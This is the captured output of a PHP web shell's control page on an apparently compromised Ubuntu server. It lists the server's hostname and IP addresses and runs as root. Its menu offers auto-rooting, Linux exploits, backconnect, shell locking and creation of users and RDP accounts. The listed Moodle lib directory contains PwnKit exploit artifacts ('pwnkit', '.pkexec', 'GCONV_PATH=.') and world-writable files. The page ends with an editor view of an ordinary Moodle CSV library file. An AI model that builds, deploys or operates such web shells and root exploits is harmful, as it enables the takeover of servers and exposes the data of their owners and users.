Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
adodb
[ DIR ]
drwxrwxrwx
ajax
[ DIR ]
drwxrwxrwx
alfresco
[ DIR ]
drwxrwxrwx
behat
[ DIR ]
drwxrwxrwx
bennu
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
ddl
[ DIR ]
drwxrwxrwx
dml
[ DIR ]
drwxrwxrwx
dragmath
[ DIR ]
drwxrwxrwx
dtl
[ DIR ]
drwxrwxrwx
editor
[ DIR ]
drwxrwxrwx
evalmath
[ DIR ]
drwxrwxrwx
external
[ DIR ]
drwxrwxrwx
filebrowser
[ DIR ]
drwxrwxrwx
filestorage
[ DIR ]
drwxrwxrwx
flowplayer
[ DIR ]
drwxrwxrwx
form
[ DIR ]
drwxrwxrwx
google
[ DIR ]
drwxrwxrwx
grade
[ DIR ]
drwxrwxrwx
htmlpurifier
[ DIR ]
drwxrwxrwx
jabber
[ DIR ]
drwxrwxrwx
jquery
[ DIR ]
drwxrwxrwx
minify
[ DIR ]
drwxrwxrwx
password_compat
[ DIR ]
drwxrwxrwx
pear
[ DIR ]
drwxrwxrwx
phpexcel
[ DIR ]
drwxrwxrwx
phpmailer
[ DIR ]
drwxrwxrwx
phpunit
[ DIR ]
drwxrwxrwx
portfolio
[ DIR ]
drwxrwxrwx
simplepie
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxrwxrwx
testing
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
typo3
[ DIR ]
drwxrwxrwx
xhprof
[ DIR ]
drwxrwxrwx
xmldb
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
yuilib
[ DIR ]
drwxrwxrwx
zend
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib.php
265.56
KB
-rwxrwxrwx
adminlib.php
294.68
KB
-rwxrwxrwx
authlib.php
19.24
KB
-rwxrwxrwx
badgeslib.php
44.87
KB
-rwxrwxrwx
blocklib.php
81.93
KB
-rwxrwxrwx
boxlib.php
22
KB
-rwxrwxrwx
cacert.pem
245.45
KB
-rwxrwxrwx
cacert.txt
811
B
-rwxrwxrwx
clilib.php
5.24
KB
-rwxrwxrwx
completionlib.php
46.64
KB
-rwxrwxrwx
componentlib.class.php
28.41
KB
-rwxrwxrwx
conditionlib.php
62.76
KB
-rwxrwxrwx
configonlylib.php
5.92
KB
-rwxrwxrwx
cookies.js
2.37
KB
-rwxrwxrwx
coursecatlib.php
91.78
KB
-rwxrwxrwx
cronlib.php
29.18
KB
-rwxrwxrwx
csslib.php
154.44
KB
-rwxrwxrwx
csvlib.class.php
16.92
KB
-rwxrwxrwx
customcheckslib.php
2.16
KB
-rwxrwxrwx
datalib.php
67.12
KB
-rwxrwxrwx
ddllib.php
4.7
KB
-rwxrwxrwx
default.ttf
502.23
KB
-rwxrwxrwx
deprecatedlib.php
165.21
KB
-rwxrwxrwx
dmllib.php
12.08
KB
-rwxrwxrwx
dtllib.php
2.58
KB
-rwxrwxrwx
editorlib.php
6.98
KB
-rwxrwxrwx
emptyfile.php
809
B
-rwxrwxrwx
enrollib.php
77.98
KB
-rwxrwxrwx
environmentlib.php
48.76
KB
-rwxrwxrwx
eventslib.php
22.33
KB
-rwxrwxrwx
excellib.class.php
29.17
KB
-rwxrwxrwx
externallib.php
29.41
KB
-rwxrwxrwx
filelib.php
175.17
KB
-rwxrwxrwx
filterlib.php
51.99
KB
-rwxrwxrwx
flickrlib.php
51
KB
-rwxrwxrwx
formslib.php
117.1
KB
-rwxrwxrwx
gdlib.php
11.97
KB
-rwxrwxrwx
googleapi.php
16.23
KB
-rwxrwxrwx
gradelib.php
52.35
KB
-rwxrwxrwx
graphlib.php
82.19
KB
-rwxrwxrwx
grouplib.php
30.42
KB
-rwxrwxrwx
htaccess
1.94
KB
-rwxrwxrwx
html2text.php
24.97
KB
-rwxrwxrwx
html2text_readme.txt
717
B
-rwxrwxrwx
index.html
1
B
-rwxrwxrwx
installlib.php
17.4
KB
-rwxrwxrwx
javascript-static.js
69.46
KB
-rwxrwxrwx
javascript.php
3.45
KB
-rwxrwxrwx
jslib.php
6.06
KB
-rwxrwxrwx
ldaplib.php
13.67
KB
-rwxrwxrwx
lexer.php
15.06
KB
-rwxrwxrwx
licenselib.php
7.24
KB
-rwxrwxrwx
listlib.php
22.2
KB
-rwxrwxrwx
markdown.php
81.45
KB
-rwxrwxrwx
markdown_license.txt
1.6
KB
-rwxrwxrwx
mathslib.php
4.27
KB
-rwxrwxrwx
medialib.php
40.88
KB
-rwxrwxrwx
messagelib.php
25.74
KB
-rwxrwxrwx
modinfolib.php
65.02
KB
-rwxrwxrwx
moodlelib.php
400.74
KB
-rwxrwxrwx
navigationlib.php
199.79
KB
-rwxrwxrwx
oauthlib.php
20.39
KB
-rwxrwxrwx
odslib.class.php
57.85
KB
-rwxrwxrwx
olson.php
23.57
KB
-rwxrwxrwx
outputactions.php
6.36
KB
-rwxrwxrwx
outputcomponents.php
97.42
KB
-rwxrwxrwx
outputfactories.php
12.01
KB
-rwxrwxrwx
outputlib.php
62.41
KB
-rwxrwxrwx
outputrenderers.php
138.77
KB
-rwxrwxrwx
outputrequirementslib.php
70.53
KB
-rwxrwxrwx
pagelib.php
68.45
KB
-rwxrwxrwx
pdflib.php
6.21
KB
-rwxrwxrwx
plagiarismlib.php
6.8
KB
-rwxrwxrwx
pluginlib.php
133.41
KB
-rwxrwxrwx
portfoliolib.php
53.26
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib.php
70.14
KB
-rwxrwxrwx
recaptchalib.php
11.84
KB
-rwxrwxrwx
resourcelib.php
8.9
KB
-rwxrwxrwx
rsslib.php
18.15
KB
-rwxrwxrwx
searchlib.php
19.91
KB
-rwxrwxrwx
sessionlib.php
39.46
KB
-rwxrwxrwx
setup.php
35.07
KB
-rwxrwxrwx
setuplib.php
59.55
KB
-rwxrwxrwx
soaplib.php
5.23
KB
-rwxrwxrwx
statslib.php
63.04
KB
-rwxrwxrwx
tablelib.php
58.04
KB
-rwxrwxrwx
textlib.class.php
34.87
KB
-rwxrwxrwx
thirdpartylibs.xml
8.36
KB
-rwxrwxrwx
timezone.txt
152.3
KB
-rwxrwxrwx
upgrade.txt
9.13
KB
-rwxrwxrwx
upgradelib.php
77.35
KB
-rwxrwxrwx
uploadlib.php
31.5
KB
-rwxrwxrwx
validateurlsyntax.php
22.73
KB
-rwxrwxrwx
webdavlib.php
67.83
KB
-rwxrwxrwx
weblib.php
113.11
KB
-rwxrwxrwx
wiki_to_markdown.php
13.14
KB
-rwxrwxrwx
womenslib.php
1021
B
-rwxrwxrwx
wordlist.txt
179
B
-rwxrwxrwx
xhtml.xsl
223
B
-rwxrwxrwx
xmlize.php
6.63
KB
-rwxrwxrwx
xsendfilelib.php
2.78
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : csvlib.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This is a one-line short description of the file * * You can have a rather longer description of the file as well, * if you like, and it can span multiple lines. * * @package core * @subpackage lib * @copyright Petr Skoda * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Utitily class for importing of CSV files. * @copyright Petr Skoda * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package moodlecore */ class csv_import_reader { /** * @var int import identifier */ var $_iid; /** * @var string which script imports? */ var $_type; /** * @var string|null Null if ok, error msg otherwise */ var $_error; /** * @var array cached columns */ var $_columns; /** * @var object file handle used during import */ var $_fp; /** * Contructor * * @param int $iid import identifier * @param string $type which script imports? */ function csv_import_reader($iid, $type) { $this->_iid = $iid; $this->_type = $type; } /** * Parse this content * * @global object * @global object * @param string $content passed by ref for memory reasons, unset after return * @param string $encoding content encoding * @param string $delimiter_name separator (comma, semicolon, colon, cfg) * @param string $column_validation name of function for columns validation, must have one param $columns * @param string $enclosure field wrapper. One character only. * @return bool false if error, count of data lines if ok; use get_error() to get error string */ function load_csv_content(&$content, $encoding, $delimiter_name, $column_validation=null, $enclosure='"') { global $USER, $CFG; $this->close(); $this->_error = null; $content = textlib::convert($content, $encoding, 'utf-8'); // remove Unicode BOM from first line $content = textlib::trim_utf8_bom($content); // Fix mac/dos newlines $content = preg_replace('!\r\n?!', "\n", $content); // Remove any spaces or new lines at the end of the file. if ($delimiter_name == 'tab') { // trim() by default removes tabs from the end of content which is undesirable in a tab separated file. $content = trim($content, chr(0x20) . chr(0x0A) . chr(0x0D) . chr(0x00) . chr(0x0B)); } else { $content = trim($content); } $csv_delimiter = csv_import_reader::get_delimiter($delimiter_name); // $csv_encode = csv_import_reader::get_encoded_delimiter($delimiter_name); // Create a temporary file and store the csv file there, // do not try using fgetcsv() because there is nothing // to split rows properly - fgetcsv() itself can not do it. $tempfile = tempnam(make_temp_directory('/cvsimport'), 'tmp'); if (!$fp = fopen($tempfile, 'w+b')) { $this->_error = get_string('cannotsavedata', 'error'); @unlink($tempfile); return false; } fwrite($fp, $content); fseek($fp, 0); // Create an array to store the imported data for error checking. $columns = array(); // str_getcsv doesn't iterate through the csv data properly. It has // problems with line returns. while ($fgetdata = fgetcsv($fp, 0, $csv_delimiter, $enclosure)) { // Check to see if we have an empty line. if (count($fgetdata) == 1) { if ($fgetdata[0] !== null) { // The element has data. Add it to the array. $columns[] = $fgetdata; } } else { $columns[] = $fgetdata; } } $col_count = 0; // process header - list of columns if (!isset($columns[0])) { $this->_error = get_string('csvemptyfile', 'error'); fclose($fp); unlink($tempfile); return false; } else { $col_count = count($columns[0]); } // Column validation. if ($column_validation) { $result = $column_validation($columns[0]); if ($result !== true) { $this->_error = $result; fclose($fp); unlink($tempfile); return false; } } $this->_columns = $columns[0]; // cached columns // check to make sure that the data columns match up with the headers. foreach ($columns as $rowdata) { if (count($rowdata) !== $col_count) { $this->_error = get_string('csvweirdcolumns', 'error'); fclose($fp); unlink($tempfile); $this->cleanup(); return false; } } $filename = $CFG->tempdir.'/csvimport/'.$this->_type.'/'.$USER->id.'/'.$this->_iid; $filepointer = fopen($filename, "w"); // The information has been stored in csv format, as serialized data has issues // with special characters and line returns. $storedata = csv_export_writer::print_array($columns, ',', '"', true); fwrite($filepointer, $storedata); fclose($fp); unlink($tempfile); fclose($filepointer); $datacount = count($columns); return $datacount; } /** * Returns list of columns * * @return array */ function get_columns() { if (isset($this->_columns)) { return $this->_columns; } global $USER, $CFG; $filename = $CFG->tempdir.'/csvimport/'.$this->_type.'/'.$USER->id.'/'.$this->_iid; if (!file_exists($filename)) { return false; } $fp = fopen($filename, "r"); $line = fgetcsv($fp); fclose($fp); if ($line === false) { return false; } $this->_columns = $line; return $this->_columns; } /** * Init iterator. * * @global object * @global object * @return bool Success */ function init() { global $CFG, $USER; if (!empty($this->_fp)) { $this->close(); } $filename = $CFG->tempdir.'/csvimport/'.$this->_type.'/'.$USER->id.'/'.$this->_iid; if (!file_exists($filename)) { return false; } if (!$this->_fp = fopen($filename, "r")) { return false; } //skip header return (fgetcsv($this->_fp) !== false); } /** * Get next line * * @return mixed false, or an array of values */ function next() { if (empty($this->_fp) or feof($this->_fp)) { return false; } if ($ser = fgetcsv($this->_fp)) { return $ser; } else { return false; } } /** * Release iteration related resources * * @return void */ function close() { if (!empty($this->_fp)) { fclose($this->_fp); $this->_fp = null; } } /** * Get last error * * @return string error text of null if none */ function get_error() { return $this->_error; } /** * Cleanup temporary data * * @global object * @global object * @param boolean $full true means do a full cleanup - all sessions for current user, false only the active iid */ function cleanup($full=false) { global $USER, $CFG; if ($full) { @remove_dir($CFG->tempdir.'/csvimport/'.$this->_type.'/'.$USER->id); } else { @unlink($CFG->tempdir.'/csvimport/'.$this->_type.'/'.$USER->id.'/'.$this->_iid); } } /** * Get list of cvs delimiters * * @return array suitable for selection box */ static function get_delimiter_list() { global $CFG; $delimiters = array('comma'=>',', 'semicolon'=>';', 'colon'=>':', 'tab'=>'\\t'); if (isset($CFG->CSV_DELIMITER) and strlen($CFG->CSV_DELIMITER) === 1 and !in_array($CFG->CSV_DELIMITER, $delimiters)) { $delimiters['cfg'] = $CFG->CSV_DELIMITER; } return $delimiters; } /** * Get delimiter character * * @param string separator name * @return string delimiter char */ static function get_delimiter($delimiter_name) { global $CFG; switch ($delimiter_name) { case 'colon': return ':'; case 'semicolon': return ';'; case 'tab': return "\t"; case 'cfg': if (isset($CFG->CSV_DELIMITER)) { return $CFG->CSV_DELIMITER; } // no break; fall back to comma case 'comma': return ','; default : return ','; // If anything else comes in, default to comma. } } /** * Get encoded delimiter character * * @global object * @param string separator name * @return string encoded delimiter char */ static function get_encoded_delimiter($delimiter_name) { global $CFG; if ($delimiter_name == 'cfg' and isset($CFG->CSV_ENCODE)) { return $CFG->CSV_ENCODE; } $delimiter = csv_import_reader::get_delimiter($delimiter_name); return '&#'.ord($delimiter); } /** * Create new import id * * @global object * @param string who imports? * @return int iid */ static function get_new_iid($type) { global $USER; $filename = make_temp_directory('csvimport/'.$type.'/'.$USER->id); // use current (non-conflicting) time stamp $iiid = time(); while (file_exists($filename.'/'.$iiid)) { $iiid--; } return $iiid; } } /** * Utitily class for exporting of CSV files. * @copyright 2012 Adrian Greeve * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core * @category csv */ class csv_export_writer { /** * @var string $delimiter The name of the delimiter. Supported types(comma, tab, semicolon, colon, cfg) */ var $delimiter; /** * @var string $csvenclosure How fields with spaces and commas are enclosed. */ var $csvenclosure; /** * @var string $mimetype Mimetype of the file we are exporting. */ var $mimetype; /** * @var string $filename The filename for the csv file to be downloaded. */ var $filename; /** * @var string $path The directory path for storing the temporary csv file. */ var $path; /** * @var resource $fp File pointer for the csv file. */ protected $fp; /** * Constructor for the csv export reader * * @param string $delimiter The name of the character used to seperate fields. Supported types(comma, tab, semicolon, colon, cfg) * @param string $enclosure The character used for determining the enclosures. * @param string $mimetype Mime type of the file that we are exporting. */ public function __construct($delimiter = 'comma', $enclosure = '"', $mimetype = 'application/download') { $this->delimiter = $delimiter; // Check that the enclosure is a single character. if (strlen($enclosure) == 1) { $this->csvenclosure = $enclosure; } else { $this->csvenclosure = '"'; } $this->filename = "Moodle-data-export.csv"; $this->mimetype = $mimetype; } /** * Set the file path to the temporary file. */ protected function set_temp_file_path() { global $USER, $CFG; make_temp_directory('csvimport/' . $USER->id); $path = $CFG->tempdir . '/csvimport/' . $USER->id. '/' . $this->filename; // Check to see if the file exists, if so delete it. if (file_exists($path)) { unlink($path); } $this->path = $path; } /** * Add data to the temporary file in csv format * * @param array $row An array of values. */ public function add_data($row) { if(!isset($this->path)) { $this->set_temp_file_path(); $this->fp = fopen($this->path, 'w+'); } $delimiter = csv_import_reader::get_delimiter($this->delimiter); fputcsv($this->fp, $row, $delimiter, $this->csvenclosure); } /** * Echos or returns a csv data line by line for displaying. * * @param bool $return Set to true to return a string with the csv data. * @return string csv data. */ public function print_csv_data($return = false) { fseek($this->fp, 0); $returnstring = ''; while (($content = fgets($this->fp)) !== false) { if (!$return){ echo $content; } else { $returnstring .= $content; } } if ($return) { return $returnstring; } } /** * Set the filename for the uploaded csv file * * @param string $dataname The name of the module. * @param string $extenstion File extension for the file. */ public function set_filename($dataname, $extension = '.csv') { $filename = clean_filename($dataname); $filename .= clean_filename('-' . gmdate("Ymd_Hi")); $filename .= clean_filename("-{$this->delimiter}_separated"); $filename .= $extension; $this->filename = $filename; } /** * Output file headers to initialise the download of the file. */ protected function send_header() { global $CFG; if (strpos($CFG->wwwroot, 'https://') === 0) { //https sites - watch out for IE! KB812935 and KB316431 header('Cache-Control: max-age=10'); header('Pragma: '); } else { //normal http - prevent caching at all cost header('Cache-Control: private, must-revalidate, pre-check=0, post-check=0, max-age=0'); header('Pragma: no-cache'); } header('Expires: '. gmdate('D, d M Y H:i:s', 0) .' GMT'); header("Content-Type: $this->mimetype\n"); header("Content-Disposition: attachment; filename=\"$this->filename\""); } /** * Download the csv file. */ public function download_file() { $this->send_header(); $this->print_csv_data(); exit; } /** * Creates a file for downloading an array into a deliminated format. * This function is useful if you are happy with the defaults and all of your * information is in one array. * * @param string $filename The filename of the file being created. * @param array $records An array of information to be converted. * @param string $delimiter The name of the delimiter. Supported types(comma, tab, semicolon, colon, cfg) * @param string $enclosure How speical fields are enclosed. */ public static function download_array($filename, array &$records, $delimiter = 'comma', $enclosure='"') { $csvdata = new csv_export_writer($delimiter, $enclosure); $csvdata->set_filename($filename); foreach ($records as $row) { $csvdata->add_data($row); } $csvdata->download_file(); } /** * This will convert an array of values into a deliminated string. * Like the above function, this is for convenience. * * @param array $records An array of information to be converted. * @param string $delimiter The name of the delimiter. Supported types(comma, tab, semicolon, colon, cfg) * @param string $enclosure How speical fields are enclosed. * @param bool $return If true will return a string with the csv data. * @return string csv data. */ public static function print_array(array &$records, $delimiter = 'comma', $enclosure = '"', $return = false) { $csvdata = new csv_export_writer($delimiter, $enclosure); foreach ($records as $row) { $csvdata->add_data($row); } $data = $csvdata->print_csv_data($return); if ($return) { return $data; } } /** * Make sure that everything is closed when we are finished. */ public function __destruct() { fclose($this->fp); unlink($this->path); } }
Close